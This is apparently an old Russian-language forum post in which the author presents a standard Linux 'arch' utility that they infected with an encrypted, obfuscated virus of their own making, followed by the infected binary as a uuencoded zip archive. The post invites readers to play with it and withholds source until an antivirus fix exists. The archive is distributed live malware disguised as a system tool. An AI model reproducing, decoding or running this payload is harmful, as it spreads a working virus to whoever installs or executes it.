здравствуйте, уважаемые! Ж-)
решил на днях поразмяться малость, а то так и забыть
не долго, что такое языки программирования. результат
"разминки" перед вами.
это - стандартный линуксовый arch (
# rpm -qf `which arch`
util-linux-2.11f-12.asp
), зараженный шифрованым и легонько обфусцированным
вирусом. к сожалению, слово 'obfuscated' не имеет
равноценного аналога в русском языке. развлекайтесь!
я, к примеру, получил массу удовольствия.
естественно, что ни исходники, ни описание я постить
не собираюсь, пока не выйдет лечилка. а то, в чем бы
был прикол? Ж-))) собственно, за основу я взял другой
свой вирус, отключив кернельную часть для простоты.
стоп, стоп, стоп. что-то я разболтался. Ж-)))
begin 644 arch.infected.zip
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
,`0!(````&`X`````
`
end